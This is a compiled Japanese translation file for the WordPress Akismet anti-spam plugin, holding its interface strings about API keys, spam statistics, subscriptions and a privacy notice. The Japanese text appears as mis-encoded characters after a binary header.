X[wy[ñ[*ø[Q#\Nu\SÄ\l]½…]C^_^w{^ ó^E_F_ V_$`_…_•_>±_,ð_Ì`Oê`K:aP†aV×a%.bƒTb\ØbC5cKyc?ÅcÞdxäd\]e ºe®Èe!wf™g³gÒgAèg *h…ËiøQkJluflÜlAán1#o™Uo<ïo0,pd]p|Âpv?q„¶q,;r;hr¤rϬs|t<„uBÁu<vAv ßwéw)þw„A1M¬BC|vƒ=nry6GJFt-IÍm£ ›YœVQ2' ?p<7(Z3±`‰É‡N:h$0+®‘#˜²¯°4¾Tº¶¢½‹.¼™_\f}¤;]ÊÀj¹D8ª“XPÁ9á»–[uÆŽKˆÄË@ q’g*©Ès€¥E%l†…µUŸ,Ç¿Oi‚¦Lž" o5Še³a—­ Å”¸šw/¨{·)&~W•bx«d !§^zŒ´Hk c>ÂSRÌ%1$s changed the comment status to %2$s.%d comment could not be checked.%d comments could not be checked.%d comment moved to Spam.%d comments moved to Spam.%s ago%s approved%s approved%s comment was caught as spam.%s comments were caught as spam.%s false positive%s false positives%s missed spam%s missed spam%s reported this comment as not spam.%s reported this comment as spam.(undo)Akismet has protected your site from %2$s spam comment already. Akismet has protected your site from %2$s spam comments already. Akismet has protected your site from %3$s spam comment.Akismet has protected your site from %3$s spam comments.Akismet blocks spam from getting to your blog. %1$s spam blocked by Akismet%1$s spam blocked by AkismetAlmost done - configure Akismet and say goodbye to spamA 12-character Akismet API key. Available at akismet.com/get/API KeyAPI key must be set to fetch stats.AccountAccuracyActiveAkismetAkismet %s requires WordPress %s or higher.Akismet Anti-SpamAkismet ConfigurationAkismet Error Code: %sAkismet FAQAkismet SetupAkismet StatsAkismet SupportAkismet WidgetAkismet anti-spam strictnessAkismet caught this comment as spam during an automatic retry.Akismet caught this comment as spam.Akismet checked %s comment.Akismet checked %s comments.Akismet cleared this comment during an automatic retry.Akismet cleared this comment.Akismet could not recheck your comments for spam.Akismet encountered a problem with a previous SSL request and disabled it temporarily. It will begin using SSL for requests again shortly.Akismet filters out spam, so you can focus on more important things.Akismet has detected a problem.Akismet has saved you %d hour!Akismet has saved you %d hours!Akismet has saved you %d minute!Akismet has saved you %d minutes!Akismet has saved you %s day!Akismet has saved you %s days!Akismet is not configured. Please enter an API key.Akismet is now protecting your site from spam. Happy blogging!Akismet privacy noticeAkismet re-checked and caught this comment as spam.Akismet re-checked and cleared this comment.Akismet was unable to check this comment (response: %s) but will automatically retry later.Akismet was unable to check this comment but will automatically retry later.Akismet was unable to recheck this comment (response: %s).Akismet was unable to recheck this comment.All systems functional.All timeAlways put spam in the Spam folder for review.An Akismet API key has been defined in the %s file for this site.Anti-Spam SettingsAutomatticAwaiting spam checkCancelledChangeCheatin’ uh?Check for SpamChecking for Spam (%1$s%)Choose to either discard the worst spam automatically or to always put all spam in spam folder.Cleaning up spam takes time.Cleared by AkismetClick the Use this Key button.Comment #%d could not be checked.Comment #%d is not spam.Comment #%d is spam.Comment HistoryComment discarded.Comment not found.Comment status was changed to %sComment was caught by %s.CommentsConnect with API keyConnect with JetpackContact Akismet supportCopy and paste the API key into the text field.Currently unable to fetch stats. Please try again.Detailed StatsDisabled.Disconnect this accountDisplay a privacy notice under your comment forms.Display the number of spam comments Akismet has caughtDo not display privacy notice.Eliminate spam from your siteEnabled.Enter an API KeyEnter your API keyEnter/remove an API key.Failed to connect to Akismet.Flagged as spam by %sFlagged as spam by AkismetFor more information:For more information: %sHistoryIf true, Akismet will automatically discard the worst spam automatically rather than putting it in the spam folder.If true, show the number of approved comments beside each comment author in the comments list page.If you already have an API keyIn 2012, Akismet began using subscription plans for all accounts (even free ones). A plan has not been assigned to your account, and we’d appreciate it if you’d sign into your account and choose one.Manual ConfigurationManually enter an API keyMissingNetwork functions are disabled.New to AkismetNext Billing DateNo Subscription FoundNo comment history.No comments were caught as spam.No worries! Get in touch and we’ll sort this out.Note:On this page, you are able to set up the Akismet plugin.On this page, you are able to update your Akismet settings and view spam stats.On this page, you are able to view stats on spam filtered on your site.OverviewPast six monthsPlease upgrade WordPress to a current version, or downgrade to version 2.4 of the Akismet plugin.Please contact our support team with any questions.Please check your Akismet configuration and contact your web host if problems persist.Please contact Akismet support for assistance.Please update your payment information.Please visit your Akismet account page to reactivate your subscription.PrivacyProcessed %d comment.Processed %d comments.Re-adding...Remove this URLRemoving...SSL StatusSave ChangesSet up a different accountSet up your Akismet accountSet up your Akismet account to enable spam filtering on this site.SettingsShow approved commentsShow the number of approved comments beside each comment authorShow the number of approved comments beside each comment author in the comments list page.Sign up for an account on %s to get an API Key.Silently discard the worst and most pervasive spam so I never see it.Some comments have not yet been checked for spam by Akismet. They have been temporarily held for moderation and will automatically be rechecked later.Spam BlockedSpam blockedSpam blockedSpam in the spam folder older than 1 day is deleted automatically.Spam in the spam folder older than %2$d days is deleted automatically.StatisticsStats response could not be decoded.StatusStrictnessSubscription TypeSuspendedTemporarily disabled.The API key you entered could not be verified.The Akismet subscription planThe connection to akismet.com could not be established. Please refer to our guide about firewalls and check your server configuration.The key you entered is invalid. Please double-check it.The subscription status - active, cancelled or suspendedThe time period for which to retrieve stats. Options: 60-days, 6-months, allThe value provided is not a valid and registered API key.There is a problem with your API key.There were no comments to check. Akismet will only check comments awaiting moderation.There’s %1$s comment in your spam queue right now.There are %1$s comments in your spam queue right now.There’s nothing in your spam queue at the moment.This comment was reported as not spam.This comment was reported as spam.This site uses Akismet to reduce spam. Learn how your comment data is processed.This site's API key is hardcoded and cannot be changed via the API.This site's API key is hardcoded and cannot be deleted.Title:To continue your service, upgrade to an Enterprise subscription, which covers an unlimited number of sites.To help your site with transparency under privacy laws like the GDPR, Akismet can display a notice to your users under your comment forms. This feature is disabled by default, however, you can turn it on above.URL removedUn-spammed by %sUpgradeUse your Jetpack connection to set up Akismet.Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. It keeps your site protected even while you sleep. To get started, just go to your Akismet Settings page to set up your API key.Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Your site is fully configured and being protected, even while you sleep.View comment historyWe cannot process your payment. Please update your payment details.We collect information about visitors who comment on Sites that use our Akismet anti-spam service. The information we collect depends on how the User sets up Akismet for the Site, but typically includes the commenter's IP address, user agent, referrer, and Site URL (along with other information directly provided by the commenter such as their name, username, email address, and the comment itself).Would you like to check pending comments?You are connected as %s.You can help us fight spam and upgrade your account by contributing a token amount.You don’t have an Akismet plan.You don't have permission to do that.You need to enter an API key to activate the Akismet service on your site.You’re using Akismet on far too many sites for your Pro subscription.You’re using your Akismet key on more sites than your Pro subscription allows.Your API key is no longer valid. Please enter a new key or contact support@akismet.com.Your Akismet plan has been cancelled.Your Akismet subscription is suspended.Your Pro subscription allows the use of Akismet on only one site. Please purchase additional Pro subscriptions or upgrade to an Enterprise subscription that allows the use of Akismet on unlimited sites.Your Web server cannot make SSL requests; contact your Web host and ask them to add support for SSL requests.Your firewall may be blocking Akismet from connecting to its API. Please contact your host and refer to our guide about firewalls.Your site can’t connect to the Akismet servers.Your subscription for %s is cancelled.Your subscription for %s is suspended.Your web host or server administrator has disabled PHP’s gethostbynamel function. Akismet cannot work correctly until this is fixed. Please contact your web host or firewall administrator and give them this information about Akismet’s system requirements.commentsSpamhttps://akismet.com/https://automattic.com/wordpress-plugins/PO-Revision-Date: 2020-10-22 19:38:27+0000 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=1; plural=0; X-Generator: GlotPress/3.0.0-alpha.2 Language: ja_JP Project-Id-Version: Plugins - Akismet Spam Protection - Stable (latest release) %1$s ã¯ã‚³ãƒ¡ãƒ³ãƒˆã®çŠ¶æ…‹ã‚’ %2$s ã«å¤‰æ›´ã—ã¾ã—ãŸã€‚%dä»¶ã®ã‚³ãƒ¡ãƒ³ãƒˆãŒãƒã‚§ãƒƒã‚¯ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚%dä»¶ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’スパムã¨ã—ã¦å‡¦ç†ã—ã¾ã—ãŸã€‚%så‰%s ãŒæ‰¿èª%sä»¶ã®ã‚³ãƒ¡ãƒ³ãƒˆãŒã‚¹ãƒ‘ムã¨ã—ã¦æ•ç²ã•れã¾ã—ãŸã€‚%sä»¶ã®èª¤åˆ¤å®š%sä»¶ã®ã‚¹ãƒ‘ム見è½ã¨ã—%s ã¯ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’スパムã§ã¯ãªã„ã¨ã—ã¦å ±å‘Šã—ã¾ã—ãŸã€‚%s ã¯ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’スパムã¨ã—ã¦å ±å‘Šã—ã¾ã—ãŸã€‚(å–æ¶ˆ)Akismet ã¯ã€%2$sä»¶ã®ã‚¹ãƒ‘ムコメントã‹ã‚‰ã‚ãªãŸã®ã‚µã‚¤ãƒˆã‚’ä¿è­·ã—ã¾ã—ãŸã€‚Akismet ã¯ã“ã®ã‚µã‚¤ãƒˆã§ä»Šã¾ã§%3$sä»¶ã®ã‚¹ãƒ‘ムコメントをブロックã—ã¾ã—ãŸã€‚Akismet ãŒã‚ãªãŸã®ãƒ–ログをスパムã‹ã‚‰ä¿è­·ã—ã¦ã„ã¾ã™ã€‚%1$sä»¶ã®ã‚¹ãƒ‘ム㌠Akismet ã«ã‚ˆã£ã¦ãƒ–ロックã•れã¾ã—ãŸã‚‚ã†ã™ã完了ã§ã™ - Akismet を設定ã—ã¦ã‚¹ãƒ‘ムã«ã‚µãƒ¨ãƒŠãƒ©ã—ã¾ã—ょã†12文字㮠Akismet API キーã§ã™ã€‚akismet.com/get/ ã§å…¥æ‰‹ã§ãã¾ã™ã€‚API キー統計データをå–å¾—ã™ã‚‹ã«ã¯ API キーを設定ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚アカウント精度有効AkismetAkismet %s ã«ã¯ WordPress %s 以é™ãŒå¿…è¦ã§ã™ã€‚Akismet Anti-Spam (アンãƒã‚¹ãƒ‘ム)Akismet 設定Aksimet エラーコード: %sAkismet ã¸ã®ã‚ˆãã‚る質å•Akismet 設定Akismet 統計Akismet サãƒãƒ¼ãƒˆAkismet ウィジェットAkismet アンãƒã‚¹ãƒ‘ム強度自動å†è©¦è¡Œã®éš›ã« Akismet ãŒã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’スパムã¨åˆ¤å®šã—ã¾ã—ãŸã€‚Akismet ãŒã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’スパムã¨åˆ¤å®šã—ã¾ã—ãŸã€‚Akismet ã¯%sä»¶ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’ãƒã‚§ãƒƒã‚¯ã—ã¾ã—ãŸã€‚自動å†è©¦è¡Œã®éš›ã« Akismet ãŒã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’éžã‚¹ãƒ‘ムã¨åˆ¤å®šã—ã¾ã—ãŸã€‚Akismet ãŒã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’éžã‚¹ãƒ‘ムã¨åˆ¤å®šã—ã¾ã—ãŸã€‚Akismet ã¯ã‚³ãƒ¡ãƒ³ãƒˆã‚¹ãƒ‘ムをå†ãƒã‚§ãƒƒã‚¯ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚Akismet ã¯ä»¥å‰ã® SSL リクエストã§å•題ã«ç›´é¢ã—ã€ä¸€æ™‚çš„ã«ç„¡åŠ¹åŒ–ã—ã¾ã—ãŸã€‚リクエストã§ã® SSL ã®ä½¿ç”¨ã¯ç›´ã¡ã«å†é–‹ã•れã¾ã™ã€‚Akismet ã¯ã‚¹ãƒ‘ムをフィルターã—ã€ã‚ãªãŸãŒã‚‚ã£ã¨é‡è¦ãªã“ã¨ã«é›†ä¸­ã§ãるよã†ã«ã—ã¾ã™ã€‚Akismet ãŒéšœå®³ã‚’検知ã—ã¾ã—ãŸã€‚Akismet ã¯åˆè¨ˆ%d時間を節約ã—ã¾ã—ãŸã€‚Akismet ã¯åˆè¨ˆ%d分を節約ã—ã¾ã—ãŸã€‚Akismet ã¯åˆè¨ˆ%s日を節約ã—ã¾ã—ãŸã€‚Akismet ãŒè¨­å®šã•れã¦ã„ã¾ã›ã‚“。 API キーを入力ã—ã¦ãã ã•ã„。Akismet ã¯ç¾åœ¨ã‚µã‚¤ãƒˆã‚’スパムã‹ã‚‰ä¿è­·ã—ã¦ã„ã¾ã™ã€‚ãƒ–ãƒ­ã‚°ã‚’ãŠæ¥½ã—ã¿ãã ã•ã„。Akismet プライãƒã‚·ãƒ¼é€šçŸ¥Akismet ãŒã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’å†ãƒã‚§ãƒƒã‚¯ã—ã€ã‚¹ãƒ‘ムã¨åˆ¤å®šã—ã¾ã—ãŸã€‚Akismet ãŒã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’å†ãƒã‚§ãƒƒã‚¯ã—ã€éžã‚¹ãƒ‘ムã¨åˆ¤å®šã—ã¾ã—ãŸã€‚Akismet ã¯ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’ãƒã‚§ãƒƒã‚¯ã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“ã§ã—ãŸ(応答: %s)ãŒã€å¾Œã»ã©è‡ªå‹•çš„ã«å†è©¦è¡Œã—ã¾ã™ã€‚Akismet ã¯ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’確èªã§ãã¾ã›ã‚“ã§ã—ãŸãŒã€å¾Œã§è‡ªå‹•çš„ã«å†è©¦è¡Œã—ã¾ã™ã€‚Akismet ã¯ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’å†åº¦ãƒã‚§ãƒƒã‚¯ã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“ã§ã—ãŸã€‚(応答: %s)Akismet ã¯ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’å†ç¢ºèªã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ã™ã¹ã¦ã®ã‚·ã‚¹ãƒ†ãƒ ã¯ä½œå‹•中ã§ã™ã€‚全期間スパムを常ã«ã‚¹ãƒ‘ãƒ ãƒ•ã‚©ãƒ«ãƒ€ãƒ¼ã«æŒ¯ã‚Šåˆ†ã‘レビューã™ã‚‹ã€‚Akismet API キーã¯ã“ã®ã‚µã‚¤ãƒˆã® %s ファイルã§å®šç¾©ã•れã¦ã„ã¾ã™ã€‚アンãƒã‚¹ãƒ‘ム設定Automatticスパムãƒã‚§ãƒƒã‚¯å¾…ã¡ã‚­ãƒ£ãƒ³ã‚»ãƒ«æ¸ˆã¿å¤‰æ›´é–“é•ãˆã¾ã—ãŸã‹ ?スパムãƒã‚§ãƒƒã‚¯ã‚¹ãƒ‘ムãƒã‚§ãƒƒã‚¯ä¸­ (%1$s%)最も悪質ãªç¨®é¡žã®ã‚¹ãƒ‘ムを自動的ã«å‰Šé™¤ã™ã‚‹ã‹ã€ã™ã¹ã¦ã®ã‚¹ãƒ‘ãƒ ã‚’ã‚¹ãƒ‘ãƒ ãƒ•ã‚©ãƒ«ãƒ€ãƒ¼ã«æŒ¯ã‚Šåˆ†ã‘ã‚‹ã‹é¸æŠžã—ã¦ãã ã•ã„。スパムã®é™¤åŽ»ã«ã¯æ™‚é–“ãŒã‹ã‹ã‚Šã¾ã™ã€‚Akismet ãŒéžã‚¹ãƒ‘ムã¨åˆ¤å®šã€Œã“ã®ã‚­ãƒ¼ã‚’使用ã€ã‚’クリックã—ã¦ãã ã•ã„。コメント #%d ã‚’ãƒã‚§ãƒƒã‚¯ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚コメント #%d ã¯ã‚¹ãƒ‘ムã§ã¯ã‚りã¾ã›ã‚“。コメント #%d ã¯ã‚¹ãƒ‘ムã§ã™ã€‚コメント履歴コメントã¯å‰Šé™¤ã•れã¾ã—ãŸã€‚コメントãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“。コメントã®çŠ¶æ…‹ã‚’ %s ã¸ã¨å¤‰æ›´ã—ã¾ã—ãŸ%s ãŒã‚³ãƒ¡ãƒ³ãƒˆã‚’キャッãƒã—ã¾ã—ãŸã€‚コメントAPI キーを使ã£ã¦æŽ¥ç¶šã™ã‚‹Jetpack ã¨é€£æºã™ã‚‹Akismet サãƒãƒ¼ãƒˆã¸å•ã„åˆã‚ã›ã‚‹ãƒ†ã‚­ã‚¹ãƒˆæ¬„ã« API キーをコピー & ペーストã—ã¦ãã ã•ã„。一時的ã«çµ±è¨ˆãƒ‡ãƒ¼ã‚¿ã‚’å–å¾—ã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“。もã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„。詳ã—ã„統計情報無効。ã“ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã®é€£æºã‚’解除コメントフォームã®ä¸‹ã«ãƒ—ライãƒã‚·ãƒ¼ã«é–¢ã™ã‚‹é€šçŸ¥ã‚’表示ã™ã‚‹ã€‚Akismet ãŒæ•ç²ã—ãŸã‚¹ãƒ‘ムコメント数を表示プライãƒã‚·ãƒ¼ã«é–¢ã™ã‚‹é€šçŸ¥ã‚’表示ã—ãªã„。サイトã‹ã‚‰ã‚¹ãƒ‘ムを一掃有効。API キーを入力ã—ã¦ãã ã•ã„API キーを入力ã—ã¦ãã ã•ã„API キーを入力ã¾ãŸã¯å‰Šé™¤ã—ã¦ãã ã•ã„。Akismet ã¨ã®æŽ¥ç¶šã«å¤±æ•—ã—ã¾ã—ãŸã€‚%s ãŒã‚¹ãƒ‘ムã¨åˆ¤å®šAkismet ã«ã‚ˆã‚Šã‚¹ãƒ‘ムã¨åˆ¤å®šè©³ç´°æƒ…å ±:詳細: %s履歴真ã§ã‚れã°ã€Akismet ã¯æœ€ã‚‚悪質ãªç¨®é¡žã®ã‚¹ãƒ‘ãƒ ã‚’ã‚¹ãƒ‘ãƒ ãƒ•ã‚©ãƒ«ãƒ€ãƒ¼ã«æŒ¯ã‚Šåˆ†ã‘ã‚‹ã®ã§ã¯ãªãã€è‡ªå‹•çš„ã«å‰Šé™¤ã—ã¾ã™ã€‚真ã§ã‚れã°ã€ã‚³ãƒ¡ãƒ³ãƒˆãƒªã‚¹ãƒˆã®ãƒšãƒ¼ã‚¸ã®ã‚³ãƒ¡ãƒ³ãƒˆæŠ•ç¨¿è€…ã®æ¨ªã«ã€æ‰¿èªã•れãŸã‚³ãƒ¡ãƒ³ãƒˆæ•°ã‚’表示ã—ã¾ã™ã€‚API キーをã™ã§ã«ãŠæŒã¡ã®å ´åˆ2012年以é™ã€Akismet 㯠(無料をå«ã‚€) ã™ã¹ã¦ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã§ãƒ—ラン形å¼ã®ã‚µãƒ–スクリプションを採用ã—ã¾ã—ãŸã€‚アカウントã«ã¾ã ãƒ—ランãŒå‰²ã‚Šå½“ã¦ã‚‰ã‚Œã¦ã„ã¾ã›ã‚“ã®ã§ã€ãƒ­ã‚°ã‚¤ãƒ³ã—ã¦ãƒ—ãƒ©ãƒ³ã‚’é¸æŠžã—ã¦ã„ãŸã ã‘ã‚‹ã¨å¹¸ã„ã§ã™ã€‚æ‰‹å‹•æ§‹æˆæ‰‹å‹•ã§ API ã‚­ãƒ¼ã‚’å…¥åŠ›ä¸æ˜Žã‚µã‚¤ãƒˆãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯é–¢æ•°ãŒç„¡åŠ¹åŒ–ã•れã¦ã„ã¾ã™ã€‚Akismet ã‚’åˆã‚ã¦ã”åˆ©ç”¨ã®æ–¹æ¬¡å›žã®èª²é‡‘日サブスクリプションãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸã‚³ãƒ¡ãƒ³ãƒˆå±¥æ­´ãŒã‚りã¾ã›ã‚“。スパムã¨ã—ã¦æ•æ‰ã—ãŸã‚³ãƒ¡ãƒ³ãƒˆã¯ã‚りã¾ã›ã‚“。ã”心é…ãªã。ãŠå•ã„åˆã‚ã›ãã ã•れã°è§£æ±ºã®ãŠæ‰‹ä¼ã„ã‚’ã•ã›ã¦ã„ãŸã ãã¾ã™ã€‚注:ã“ã®ãƒšãƒ¼ã‚¸ã§ Akismet プラグインを設定ã§ãã¾ã™ã€‚ã“ã®ãƒšãƒ¼ã‚¸ã§ã€Akismet ã®è¨­å®šã‚’æ›´æ–°ã—ã€ã‚¹ãƒ‘ム統計情報を表示ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“ã®ãƒšãƒ¼ã‚¸ã§ã¯ã€ã‚¹ãƒ‘ムフィルターã®çµ±è¨ˆã‚’見るã“ã¨ãŒã§ãã¾ã™ã€‚概è¦éŽåŽ»6ヶ月間WordPress を最新ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«ã‚¢ãƒƒãƒ—グレードã™ã‚‹ã‹ã€Akismet プラグインをãƒãƒ¼ã‚¸ãƒ§ãƒ³ 2.4ã«ãƒ€ã‚¦ãƒ³ã‚°ãƒ¬ãƒ¼ãƒ‰ã—ã¦ãã ã•ã„。質å•ãŒã‚れã°ã‚µãƒãƒ¼ãƒˆãƒãƒ¼ãƒ ã¸é€£çµ¡ã—ã¦ãã ã•ã„。Akismet ã®è¨­å®šã‚’確èªã—ã¦ã€å•題ãŒç¶™ç¶šã™ã‚‹ã‚ˆã†ã§ã‚れã°ã‚¦ã‚§ãƒ–ホストã«ã”確èªãã ã•ã„。ヘルプãŒå¿…è¦ãªå ´åˆã¯ Akismet サãƒãƒ¼ãƒˆã«ã”連絡ãã ã•ã„ã€‚æ”¯æ‰•ã„æƒ…報を更新ã—ã¦ãã ã•ã„ã€‚ã‚µãƒ–ã‚¹ã‚¯ãƒªãƒ—ã‚·ãƒ§ãƒ³ã‚’å†æœ‰åŠ¹åŒ–ã™ã‚‹ã«ã¯ Akismet ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆãƒšãƒ¼ã‚¸ã«ç§»å‹•ã—ã¦ãã ã•ã„。プライãƒã‚·ãƒ¼%dä»¶ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’処ç†ã—ã¾ã—ãŸã€‚å†åº¦è¿½åŠ ä¸­â€¦ã“ã® URL を削除削除中…SSL ã®çŠ¶æ…‹å¤‰æ›´ã‚’ä¿å­˜åˆ¥ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’設定Akismet アカウントを設定Akismet アカウントを設定ã—ã¦ã€ã“ã®ã‚µã‚¤ãƒˆã§ã‚¹ãƒ‘ムフィルタリングを有効ã«ã—ã¾ã—ょã†ã€‚è¨­å®šæ‰¿èªæ¸ˆã¿ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’表示ã™ã‚‹ã‚³ãƒ¡ãƒ³ãƒˆã®æŠ•ç¨¿è€…ã®æ¨ªã«æ‰¿èªã•れãŸã‚³ãƒ¡ãƒ³ãƒˆæ•°ã‚’表示ã™ã‚‹ã€‚ã‚³ãƒ¡ãƒ³ãƒˆã®æŠ•ç¨¿è€…ã®è„‡ã«æ‰¿èªã—ãŸã‚³ãƒ¡ãƒ³ãƒˆã®æ•°ã‚’表示ã™ã‚‹API キーをå–å¾—ã™ã‚‹ã«ã¯ %s ã§ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’登録ã—ã¦ãã ã•ã„。最も悪質ãªç¨®é¡žã®åºƒç¯„囲ãªã‚¹ãƒ‘ムを自動的ã«å‰Šé™¤ã—ã€ç›®ã«è§¦ã‚Œãªã„よã†ã«ã™ã‚‹ã€‚一部ã®ã‚³ãƒ¡ãƒ³ãƒˆãŒ Akismet ã®ã‚¹ãƒ‘ムãƒã‚§ãƒƒã‚¯ã‚’通ã•れã¦ã„ã¾ã›ã‚“ã€‚ä¸€æ™‚çš„ã«æ‰¿èªå¾…ã¡çŠ¶æ…‹ã«ãªã£ã¦ãŠã‚Šã€å¾Œã»ã©è‡ªå‹•çš„ã«å†ãƒã‚§ãƒƒã‚¯ã•れã¾ã™ã€‚ブロックã—ãŸã‚¹ãƒ‘ムブロックã—ãŸã‚¹ãƒ‘ムスパムフォルダー内ã®%2$d日以上経éŽã—ãŸã‚¹ãƒ‘ムã¯è‡ªå‹•çš„ã«å‰Šé™¤ã•れã¾ã™ã€‚統計情報統計データã®ãƒ¬ã‚¹ãƒãƒ³ã‚¹ã‚’解読ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹åŽ³å¯†åº¦ã‚µãƒ–ã‚¹ã‚¯ãƒªãƒ—ã‚·ãƒ§ãƒ³ã‚¿ã‚¤ãƒ—ä¸€æ™‚åœæ­¢ä¸­ä¸€æ™‚çš„ã«ç„¡åŠ¹åŒ–ä¸­ã€‚å…¥åŠ›ã•れ㟠API キーをèªè¨¼ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚Akismet サブスクリプションプランakismet.com ã¸ã®æŽ¥ç¶šãŒç¢ºç«‹ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ファイアウォールã«ã¤ã„ã¦ã®ã‚¬ã‚¤ãƒ‰ã‚’å‚ç…§ã—ã€ã‚µãƒ¼ãƒã®è¨­å®šã‚’確èªã—ã¦ãã ã•ã„。入力ã•れãŸã‚­ãƒ¼ã¯ç„¡åйã§ã™ã€‚ キーをå†ç¢ºèªã—ã¦ãã ã•ã„ã€‚ã‚µãƒ–ã‚¹ã‚¯ãƒªãƒ—ã‚·ãƒ§ãƒ³çŠ¶æ³ - 有効ã€ã‚­ãƒ£ãƒ³ã‚»ãƒ«ã€ä¸€æ™‚åœæ­¢çµ±è¨ˆæƒ…報をå–å¾—ã™ã‚‹æœŸé–“ã€‚é¸æŠžè‚¢: 60日間ã€6ヶ月間ã€å…¨æœŸé–“入力ã•れãŸå€¤ã¯ã€æœ‰åйã‹ã¤ç™»éŒ²ã•れ㟠API キーã§ã¯ã‚りã¾ã›ã‚“。API キーã«å•題ãŒã‚りã¾ã™ã€‚ãƒã‚§ãƒƒã‚¯ã™ã‚‹ã‚³ãƒ¡ãƒ³ãƒˆã¯ã‚りã¾ã›ã‚“ã§ã—ãŸã€‚Akismet ã¯æ‰¿èªå¾…ã¡ã®ã‚³ãƒ¡ãƒ³ãƒˆã®ã¿ã‚’ãƒã‚§ãƒƒã‚¯ã—ã¾ã™ã€‚ç¾åœ¨%1$sä»¶ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’スパムã¨ã—ã¦æ•らãˆã¦ã„ã¾ã™ã€‚ç¾åœ¨ä¿ç•™ä¸­ã®ã‚¹ãƒ‘ムã¯ã‚りã¾ã›ã‚“。ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã¯ã‚¹ãƒ‘ムã§ã¯ãªã„ã¨ã—ã¦å ±å‘Šã•れã¾ã—ãŸã€‚ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã¯ã‚¹ãƒ‘ムã¨ã—ã¦å ±å‘Šã•れã¾ã—ãŸã€‚ã“ã®ã‚µã‚¤ãƒˆã¯ã‚¹ãƒ‘ムを低減ã™ã‚‹ãŸã‚ã« Akismet を使ã£ã¦ã„ã¾ã™ã€‚コメントデータã®å‡¦ç†æ–¹æ³•ã®è©³ç´°ã¯ã“ã¡ã‚‰ã‚’ã”覧ãã ã•ã„。ã“ã®ã‚µã‚¤ãƒˆã® API キーã¯ãƒãƒ¼ãƒ‰ã‚³ãƒ¼ãƒ‰ã•れã¦ãŠã‚Šã€API ã«ã‚ˆã‚Šå¤‰æ›´ã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“。ã“ã®ã‚µã‚¤ãƒˆã® API キーã¯ãƒãƒ¼ãƒ‰ã‚³ãƒ¼ãƒ‰ã•れã¦ãŠã‚Šã€å‰Šé™¤ã§ãã¾ã›ã‚“。タイトル:サービスを引ãç¶šã使ã†ã«ã¯ã€ç„¡åˆ¶é™ã®ã‚µã‚¤ãƒˆã§ä½¿ãˆã‚‹ Enterprise プランã¸ã‚¢ãƒƒãƒ—グレードã—ã¦ãã ã•ã„。GDPR ã®ã‚ˆã†ãªãƒ—ライãƒã‚·ãƒ¼æ³•ã«ãŠã‘るサイトã®é€æ˜Žæ€§ç¶­æŒã‚’助ã‘ã‚‹ãŸã‚ã€Akismet ã¯ã‚³ãƒ¡ãƒ³ãƒˆãƒ•ォームã®ä¸‹ã«ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¸ã®é€šçŸ¥ã‚’表示ã§ãã¾ã™ã€‚ã“ã®æ©Ÿèƒ½ã¯ãƒ‡ãƒ•ォルトã§ã¯ç„¡åйã«ãªã£ã¦ã„ã¾ã™ãŒã€ä¸Šã§æœ‰åŠ¹åŒ–ã§ãã¾ã™ã€‚URL を削除ã—ã¾ã—ãŸ%s ãŒã‚¹ãƒ‘ム判定を解除アップグレードJetpack 連æºã‚’利用ã—㦠Akismet を設定ã—ã¾ã—ょã†ã€‚何百万もã®åˆ©ç”¨å®Ÿç¸¾ãŒã‚ã‚‹ Akismet ã¯ã‚ãªãŸã®ãƒ–ログをスパムã‹ã‚‰ä¿è­·ã™ã‚‹æœ€è‰¯ã®æ–¹æ³•ã¨ã„ãˆã‚‹ã§ã—ょã†ã€‚ã‚ãªãŸãŒçœ ã‚Šã«ã¤ã„ã¦ã„る時間ã§ã•ãˆã€Akismet 